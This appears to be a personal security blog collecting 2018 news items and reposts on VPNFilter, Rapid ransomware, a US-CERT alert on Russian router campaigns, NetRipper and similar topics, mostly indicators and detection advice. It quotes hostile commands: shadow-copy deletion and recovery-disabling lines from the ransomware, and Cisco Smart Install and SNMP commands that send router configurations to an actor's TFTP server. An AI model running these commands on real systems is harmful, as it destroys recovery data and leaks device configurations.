VPN-Filter

As per Cisco Talos Group post.

Just the facts to understand, detect and block/mitigate as far as possible.
As having seen simmilarities (blackenergy) in the code, it is assumed that this malware/attack is coming from fancy bear (APT28). [Remember the German Bundestag]

Brief technical breakdown

The VPNFilter malware is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations.

The stage 1 malware persists through a reboot, which sets it apart from most other malware that targets internet-of-things devices because malware normally does not survive a reboot of the device. The main purpose of stage 1 is to gain a persistent foothold and enable the deployment of the stage 2 malware. Stage 1 utilizes multiple redundant command and control (C2) mechanisms to discover the IP address of the current stage 2 deployment server, making this malware extremely robust and capable of dealing with unpredictable C2 infrastructure changes.

The stage 2 malware, which does not persist through a reboot, possesses capabilities that we have come to expect in a workhorse intelligence-collection platform, such as file collection, command execution, data exfiltration and device management. However, some versions of stage 2 also possess a self-destruct capability that overwrites a critical portion of the device's firmware and reboots the device, rendering it unusable. Based on the actor's demonstrated knowledge of these devices, and the existing capability in some stage 2 versions, we assess with high confidence that the actor could deploy this self-destruct command to most devices that it controls, regardless of whether the command is built into the stage 2 malware.

In addition, there are multiple stage 3 modules that serve as plugins for the stage 2 malware. These plugins provide stage 2 with additional functionality. As of this writing, we are aware of two plugin modules: a packet sniffer for collecting traffic that passes through the device, including theft of website credentials and monitoring of Modbus SCADA protocols, and a communications module that allows stage 2 to communicate over Tor. We assess with high confidence that several other plugin modules exist, but we have yet to discover them.

Countermeasures

Using snort: https://www.snort.org/advisories/talos-rules-2018-05-24

VPNFILTER SPECIFIC SNORT DETECTION:

45563 45564 46782 46783

SNORT RULES THAT PROTECT AGAINST KNOWN VULNERABILITIES IN AFFECTED DEVICES:

25589 26276 26277 26278 26279 29830 29831 44743 46080 46081 46082 46083 46084 46085 46086 46287 46121 46122 46123 46124 41445 44971 46297 46298 46299 46300 46301 46305 46306 46307 46308 46309 46310 46315 46335 46340 46341 46342 46376 46377 37963 45555 46076 40063 44643 44790 26275 35734 41095 41096 41504 41698 41699 41700 41748 41749 41750 41751 44687 44688 44698 44699 45001 46312 46313 46314 46317 46318 46322 46323 40866 40907 45157

Check your ClamAV signatures to be up-to-date, espacially for:

CLAMAV SIGNATURES:
Unix.Trojan.Vpnfilter-6425811-0
Unix.Trojan.Vpnfilter-6425812-0
Unix.Trojan.Vpnfilter-6550590-0
Unix.Trojan.Vpnfilter-6550591-0
Unix.Trojan.Vpnfilter-6550592-0

And manually search and block the below IOCs:

Known C2 Domains and IPs

ASSOCIATED WITH THE 1ST STAGE
photobucket[.]com/user/nikkireed11/library
photobucket[.]com/user/kmila302/library
photobucket[.]com/user/lisabraun87/library
photobucket[.]com/user/eva_green1/library
photobucket[.]com/user/monicabelci4/library
photobucket[.]com/user/katyperry45/library
photobucket[.]com/user/saragray1/library
photobucket[.]com/user/millerfred/library
photobucket[.]com/user/jeniferaniston1/library
photobucket[.]com/user/amandaseyfried1/library
photobucket[.]com/user/suwe8/library
photobucket[.]com/user/bob7301/library
toknowall[.]com

ASSOCIATED WITH THE 2ND STAGE
91.121.109[.]209
217.12.202[.]40
94.242.222[.]68
82.118.242[.]124
46.151.209[.]33
217.79.179[.]14
91.214.203[.]144
95.211.198[.]231
195.154.180[.]60
5.149.250[.]54
91.200.13[.]76
94.185.80[.]82
62.210.180[.]229
91.200.13[.]76
23.111.177[.]114

6b57dcnonk2edf5a[.]onion/bin32/update.php
tljmmy4vmkqbdof4[.]onion/bin32/update.php
zuh3vcyskd4gipkm[.]onion/bin32/update.php
4seiwn2ur4f65zo4.onion/bin256/update.php
zm3lznxn27wtzkwa.onion/bin16/update.php

Known File Hashes

1ST STAGE MALWARE

50ac4fcd3fbc8abcaa766449841b3a0a684b3e217fc40935f1ac22c34c58a9ec
0e0094d9bd396a6594da8e21911a3982cd737b445f591581560d766755097d92
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313d29f490619e796057d50ba8f1d4b0b73d4d4c6391cf35baaaace71ea9ac37

2ND STAGE MALWARE

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3RD STAGE PLUGINS

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SELF-SIGNED CERTIFICATE FINGERPRINTS

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c0f8bde03df3dec6e43b327378777ebc35d9ea8cfe39628f79f20b1c40c1b412

Check your equipment List for below systems that are known to be affected:

ASUS DEVICES:RT-AC66U (new)
RT-N10 (new)
RT-N10E (new)
RT-N10U (new)
RT-N56U (new)
RT-N66U (new)

D-LINK DEVICES:DES-1210-08P (new)
DIR-300 (new)
DIR-300A (new)
DSR-250N (new)
DSR-500N (new)
DSR-1000 (new)
DSR-1000N (new)

HUAWEI DEVICES:HG8245 (new)

LINKSYS DEVICES:E1200
E2500
E3000 (new)
E3200 (new)
E4200 (new)
RV082 (new)
WRVS4400N

MIKROTIK DEVICES:CCR1009 (new)
CCR1016
CCR1036
CCR1072
CRS109 (new)
CRS112 (new)
CRS125 (new)
RB411 (new)
RB450 (new)
RB750 (new)
RB911 (new)
RB921 (new)
RB941 (new)
RB951 (new)
RB952 (new)
RB960 (new)
RB962 (new)
RB1100 (new)
RB1200 (new)
RB2011 (new)
RB3011 (new)
RB Groove (new)
RB Omnitik (new)
STX5 (new)



NETGEAR DEVICES:DG834 (new)
DGN1000 (new)
DGN2200
DGN3500 (new)
FVS318N (new)
MBRN3000 (new)
R6400
R7000
R8000
WNR1000
WNR2000
WNR2200 (new)
WNR4000 (new)
WNDR3700 (new)
WNDR4000 (new)
WNDR4300 (new)
WNDR4300-TN (new)
UTM50 (new)

QNAP DEVICES:TS251
TS439 Pro
Other QNAP NAS devices running QTS software

TP-LINK DEVICES:R600VPN
TL-WR741ND (new)
TL-WR841N (new)

UBIQUITI DEVICES:NSM2 (new)
PBE M5 (new)

UPVEL DEVICES:Unknown Models* (new)

ZTE DEVICES:ZXHN H108N (new)

Marcus in the news ...

Being a little proud of writing for Airbus:

ATT&CK Intel query tool for MITRE

Recently found an announcement at KitPloit:

Checkout gr4ym4ntx/attackintel for querying the MITRE API for certain TTP's.

Goals

• Quickly align updated tactics, techniques, mitigation, and detection information from MITRE ATT&CK API for a specific threat
• Brush up on my python skills and get familiar with GIT while drinking coffee

How Apple stores all your email metadata for years on their servers

Sabri wrote a cool article here.

Today I’m going to reveal how Apple ended up with all the metadata of the emails you ever sent (and even received in some cases) using the official Mail app since the launch of iCloud.

Many years ago I stopped using Gmail but I kept the account. Instead of deleting it I deleted everything inside including emails and contacts and kept it connected to my phone using the official Mail app. 2 years ago, I noticed that when writing an email and started to type the recipient I could see my deleted contacts showing up. I checked Google again and even iCloud Contacts but nothing.

Ever since I never had time to properly investigate what actually happened but with this GDPR day, I remembered of this and I was more than willing to take a closer look.

.... (continue reading)

Hunting for evil: detect office macros being executed

Door Pieter Ceelen is writing a cool article about detecting macro executions.

....

Sysmon to the rescue?

So, lets monitor for registry changes on this registry hive, for this we will use Sysmon (and assume Windows event collection is in place to aggregate these logs from all workstations).

The following basic Sysmon config creates an event at every ‘protect document editing’ or ‘enable macros’

Example event generated

In my limited testing (Win7, Office 2016) I identified the following 3 moments in time when the event fires:

• When end-user marks a protected document for editing
• When end-user enables macros
• When end-user opens a document that already has a trust record

Passing the hash with native RDP client (mstsc.exe)

Michael Eder is giving a cool POC on playing with mstsc.exe and mimikatz.

TL;DR: If the remote server allows Restricted Admin login, it is possible to login via RDP by passing the hash using the native Windows RDP client mstsc.exe. (You’ll need mimikatz or something else to inject the hash into the process)

The Evil Mouse Project

Beware of mice, get yourself a cat.  .-)

/dev/random is writing a fantastic article of how to invest 30€ into a WiFi-HID-Injector.

1. Connect the evil USB device to the victim’s computer or ask him/her to do it (with some social engineering tricks)
2. Once inserted, the USB device adds a new serial port and fires up the wireless network
3. The attacker, located close enough to get the wireless signal, takes control of the device, loads his payload
4. The HID (keyboard) injects the payload by simulating keystrokes (like a Teensy) and executes it
5. The payload sends data to the newly created serial port. Data will be saved to a flat file on the USB device storage
6. The attack can download those files

Hacking attempt on central.owncloud.org

An original blog post of owncloud.com:

Dear users of central.owncloud.org,

Our community forum became the target of an attack. As a result, an intruder was able to determine the password of an admin account and downloaded a backup of the database by changing an email address. For security reasons, we had decided to take https://central.owncloud.org offline in order to avoid additional damage and to carry out a comprehensive security audit. We have reversed any changes and are now bringing this forum back online.

We kindly ask all users to immediately change their passwords on central.owncloud.org and on any other services where you used the same password. We also recommend activating 2-factor authentication if no authentication via GitHub or other login providers is active. If you have registered via GitHub, please enable 2-factor-authentication there as well.

If you find any security issues, please report it to us on Hackerone: https://hackerone.com/owncloud

Through the attack, the attacker gained access to the following data:
Full name, e-mail address, hashed password and any other data you have entered in your profile. This does NOT mean that the attacker knows your password - he has a hashed version of it, but as a precaution for possible brute-force attacks please change it, here and on all other services where you might be using the same password.

ownCloud is currently in contact with the attacker via hackerone. Until now, no intention to use the captured data has been identified.

What we have done so far:
We reviewed all logfiles and reconstructed the exact chronology of hacker actions.
No file changes were detected during this process. Furthermore, all files were reset to the time before the attack. In addition, an update to Discourse 2.0.0 (beta 9) has been made. The version also includes the latest security updates. All modifications to the configuration have been undone. The admin access has been reduced to the absolute minimum.

We kindly ask our users to carry out the above measures and assure you that ownCloud will do everything possible to ensure the security of your data.

Your ownCloud Team

EFAIL

EFAIL, it's not PGP that has been compromised but the way is was implemented into modern mail clients...

But read more at https://efail.de/

BBC: Twitter users told to change passwords after internal leak

BBS UK writes about Twitters password desaster.

In short:

Chief executive Jack Dorsey tweeted to say the "bug" had been fixed.

APT simulation using Splunk

A little demo in Splunk to visualise the APT attacks performed by the APT Simulator.

Makes it possible to demonstrate the live APT aktions of the simulator within a Splunk daskboard. Might be very usefull for demos an impressing managers. :-)

Read the my article at the subpage here.

Splunk APT demonstration

Splunk chart showing the attacks performed by the APT-simulator.

NetRipper

NytroRST/NetRipper

"Catch before encrypt"

The post-exploitation activities in a penetration test can be challenging if the tester has low-privileges on a fully patched, well configured Windows machine. This work presents a technique for helping the tester to find useful information by sniffing network traffic of the applications on the compromised machine, despite his low-privileged rights. Furthermore, the encrypted traffic is also captured before being sent to the encryption layer, thus all traffic (clear-text and encrypted) can be sniffed. The implementation of this technique is a tool called NetRipper which uses API hooking to do the actions mentioned above and which has been especially designed to be used in penetration tests, but the concept can also be used to monitor network traffic of employees or to analyze a malicious application.

NetRipper is a post exploitation tool targeting Windows systems which uses API hooking in order to intercept network traffic and encryption related functions from a low privileged user, being able to capture both plain-text traffic and encrypted traffic before encryption/after decryption.

NetRipper was released at Defcon 23, Las Vegas, Nevada.

Metasploit installation (Kali)

1. mkdir /usr/share/metasploit-framework/modules/post/windows/gather/netripper
2. cp Metasploit/netripper.rb /usr/share/metasploit-framework/modules/post/windows/gather/netripper/netripper.rb
3. cp x86/DLL.x86.dll /usr/share/metasploit-framework/modules/post/windows/gather/netripper/DLL.x86.dll
4. cp x64/DLL.x64.dll /usr/share/metasploit-framework/modules/post/windows/gather/netripper/DLL.x64.dll

APT simulator

Nextron Systems GmbH gave us a cool bunch of tools to simulate APT attacks on a Windows machine.

The "infection" stays completle harmless and everything is done by downloading and running a simple BAT-file without any fancy stuff to be installed.
Just have a look at the list of testcases below for a quick check of the abilities.

Right now, I've installed the sysmon at the same system and use a splunk forwarder to monitor the victim for evidences of APT's. Also the usecase checks are about to be completly done at the Spunk side to give the team a comprehensive monitoring and training scenario. Although the Splunk sysmon app is detecting a view things already and proves me that this way of doing will/can work.

Stay tuned for further news about this project... :-)

The below table shows the different test cases and the expected detection results.

• AV = Antivirus
• NIDS = Network Intrusion Detection System
• EDR = Endpoint Detection and Response
• SM = Security Monitoring
• CA = Compromise Assessment

GMail update

All better and saver due to AI:

Acticate the new GMail feater at your settings and enjoy some cool features helping to fight spearfishing, use configentialety (!?!?) and have the KI automatically answer emails.

MyEtherWallet hit by BGP hack

Although MyEtherwallet is talking about DNS-sppofing it was more likely a BGP-Rerouting hack at Amazon that happened 24th.Apr.18.

The attackers used BGP — a key protocol used for routing internet traffic around the world — to reroute traffic to Amazon’s Route 53 service, the largest commercial cloud provider who count major websites such as Twitter.com as customers.

They re-routed DNS traffic using a man in the middle attack using a server at Equinix in Chicago.

From there, they served traffic for over two hours.

This would allow them to intercept traffic globally across the internet to Amazon Route 53 customers.

Goodies from UK

The GCHQ is using a tool that is available to the community for helping your incident response/analysis as well.

Worth having a look at what is call "Cyber Chef". Including it's Splunk TA.

If it's worth istalling and using at your site of the wire, have a look at the live demo first.

The capabilities at a glance:

What

A simple, intuitive web app for analysing and decoding data without having to deal with complex tools or programming languages. CyberChef encourages both technical and non-technical people to explore data formats, encryption and compression.

Why

Digital data comes in all shapes, sizes and formats in the modern world – CyberChef helps to make sense of this data all on one easy-to-use platform.

How

The interface is designed with simplicity at its heart. Complex techniques are now as trivial as drag-and-drop. Simple functions can be combined to build up a "recipe", potentially resulting in complex analysis, which can be shared with other users and used with their input.

For those comfortable writing code, CyberChef is a quick and efficient way to prototype solutions to a problem which can then be scripted once proven to work.

Who

It is expected that CyberChef will be useful for cybersecurity and antivirus companies. It should also appeal to the academic world and any individuals or companies involved in the analysis of digital data, be that software developers, analysts, mathematicians or casual puzzle solvers.

Aim

It is hoped that by releasing CyberChef through GitHub, contributions can be added which can be rolled out into future versions of the tool.

There are around 200 useful operations in CyberChef for anyone working on anything vaguely Internet-related, whether you just want to convert a timestamp to a different format, decompress gzipped data, create a SHA3 hash, or parse an X.509 certificate to find out who issued it.

It’s the Cyber Swiss Army Knife.

Rapid Ransomware Continues Encrypting New Files as they Are Created

How Rapid Ransomware encrypts a computer

When the ransomware runs, it will clear the Windows shadow volume copies, terminate database processes, and disables automatic repair. The processes that are terminated are sql.exe, sqlite.exe, and oracle.com and the commands that are executed are:

vssadmin.exe Delete Shadow /All /Quiet
cmd.exe /C bcdedit /set {default} recoveryenabled No
cmd.exe /C bcdedit /set {default} bootstatuspolicy ignoreallfailures

Once these commands are executed, the ransomware will scan the computer for files to encrypt. When a file is encrypted it will have the .rapid extension appended to the encrypted file's name.

Unfortunatly the priv. decryption key is stored at the attacker machine only. Hence, no real chance (yet) to decrypt.

IOCsHashes:

125c2bcb0cd05512391a695f907669b2f55a8b69c9d4df2ce1b6c9c5a1395b61

Files Associated with the Rapid Ransomware:

%AppData%\info.exe
%AppData%\How Recovery Files.txt
%AppData%\recovery.txt

Registry Entries Associated with the Rapid Ransomware:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run "Encrypter"="%AppData%\info.exe"
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run "userinfo"="%AppData%\recovery.txt"

Rapid Ransomware Email Addresses:

frenkmoddy@tuta.io
jpcrypt@rape.lol
support@fbamasters.com
unlockforyou@india.com
rapid@rape.lol
fileskey@qq.com
fileskey@cock.li

Rapid Ransomware Ransom Note:

Hello!
All your files have been encrypted by us
If you want restore files write on e-mail - frenkmoddy@tuta.io

Will Not Encrypt Data on PCs with Russian Locale

This new version has not suffered any major modifications compared to its previous release, but small changes have occurred.

The biggest is the addition of a code routine that detects the user's PC locale settings before launching encryption operations. If the user has locale settings set to Russian, the ransomware will not encrypt files.

Uncovering Drupalgeddon 2

By Eyal Shalev, Rotem Reiss and Eran Vaknin

Abstract

Two weeks ago, a highly critical (25/25 NIST rank) vulnerability, nicknamed Drupalgeddon 2 (SA-CORE-2018-002 / CVE-2018-7600), was disclosed by the Drupal security team. This vulnerability allowed an unauthenticated attacker to perform remote code execution on default or common Drupal installations.

Drupal is an open-source content management system (CMS) that is used by more than one million sites around the world (including governments, e-retail, enterprise organizations, financial institutions and more), all of which are vulnerable unless patched.

Until now details of the vulnerability were not available to the public, however, Check Point Research can now expand upon this vulnerability and reveal exactly how it works.

Continue here.

Alert (TA18-106A) Russian State-Sponsored Cyber Actors

Surprise, surprise, if you open ports on your routers towards the Internet, YOU ARE VULNARABLE ! ! !

DHS, FBI, and NCSC urge readers to act on past alerts and advisories issued by the U.S. and U.K. Governments, allied governments, network device manufacturers, and private-sector security organizations. Elements from these alerts and advisories have been selected and disseminated in a wide variety of security news outlets and social media platforms. The current state of U.S. network devices—coupled with a Russian government campaign to exploit these devices—threatens the safety, security, and economic well-being of the United States.

The purpose of this TA is to inform network device vendors, ISPs, public-sector organizations, private-sector corporations, and small office home office (SOHO) customers about the Russian government campaign, provide information to identify malicious activity, and reduce exposure to this activity.

Continue reading the advisory here.

Stage 1: Reconnaissance

Russian state-sponsored cyber actors have conducted both broad-scale and targeted scanning of Internet address spaces. Such scanning allows these actors to identify enabled Internet-facing ports and services, conduct device fingerprinting, and discover vulnerable network infrastructure devices. Protocols targeted in this scanning include

• Telnet (typically Transmission Control Protocol (TCP) port 23, but traffic can be directed to a wide range of TCP ports such as 80, 8080, etc.),
• Hypertext Transport Protocol (HTTP, port 80),
• Simple Network Management Protocol (SNMP, ports 161/162), and
• Cisco Smart Install (SMI port 4786).

Login banners and other data collected from enabled services can reveal the make and model of the device and information about the organization for future engagement.

Device configuration files extracted in previous operations can enhance the reconnaissance effort and allow these actors to refine their methodology.

Whatch out for below attributes being access from the Internet:

• SNMP Command ID 1.3.6.1.4.1.9.9.96 with the TFTP server IP parameter of “80.255.3.85”
• SNMP and Cisco's "config copy" management information base (MIB) object identifiers (OIDs) Command ID  1.3.6.1.4.1.9.9.96 with the TFTP server IP parameter of “87.120.41.3” and community strings of ”public” ”private” or ”anonymous”

• SNMP Command ID 1.3.6.1.4.1.9.9.96 with the TFTP server IP parameter 80.255.3.85
• SNMP v2c and v1 set-requests with the OID 1.3.6.1.4.1.9.2.1.55 with the TFTP server IP parameter “87.120.41.3”, using community strings “private” and “anonymous”
• The OID 1.3.6.1.4.1.9.2.1.55.87.120.41.3 is a request to transfer a copy of a router's configuration to the IP address specified in the last four octets of the OID, in this case 87.120.41.3.
• Since late July 2016, 87.120.41.3 has been scanning thousands of IPs worldwide using SNMP.
• Between November 21 and 22, 2016, Russian cyber actors attempted to scan using SNMP version 2 Object Identifier (OID) 1.3.6.1.4.9.9.96.1.1.1.1.5 with a value of 87.120.41.3 and a community string of “public”. This command would cause vulnerable devices to exfiltrate configuration data to a specified IP address over TFTP; in this case, IP address 87.120.41.3.
• SNMP, TFTP, HTTP, Telnet, or SSH traffic to or from the following IPs
  • 210.245.123.180

Between June 29 and July 6, 2017, Russian actors used the Cisco Smart Install protocol to scan for vulnerable network devices. Two Russian cyber actor-controlled hosts, 91.207.57.69(3) and 176.223.111.160(4), connected to IPs on several network ranges on port 4786 and sent the following two commands:

• copy nvram:startup-config flash:/config.text
• copy nvram:startup-config tftp://[actor address]/[actor filename].conf

In early July 2017, the commands sent to targets changed slightly, copying the running configuration file instead of the startup configuration file. Additionally, the second command copies the file saved to flash memory instead of directly copying the configuration file.

• copy system:running-config flash:/config.text
• copy flash:/config.text tftp://[ actor address]/[actor filename].conf

Uh Oh! Unified Logs in High Sierra (10.13) Show Plaintext Password for APFS Encrypted External Volumes via Disk Utility.app

Sarah Edwards found out:

UPATE TO THE UPDATE: Similar log entries are now found in another system log that is more persistent, see the article here.

UPDATE: This is still vulnerable on current versions of macOS 10.13.3 when encrypted an ALREADY EXISTING unencrypted APFS volume (versus, creating a NEW volume in original article). Thanks to @moelassus for pointing this out and to @howardnoakley for verifying. My verification test is below. Note that it gets stored in on-disk, collected logs (non-volatile logs).

It may not be noticeable at first (apart from the highlighting I’ve added of course), but the text “frogger13” is the password I used on a newly created APFS formatted FileVault Encrypted USB drive with the volume name “SEKRET”. (The new class images have a WarGames theme, hence the shout-outs to classic video games!)

Read the complete article of Sarah here.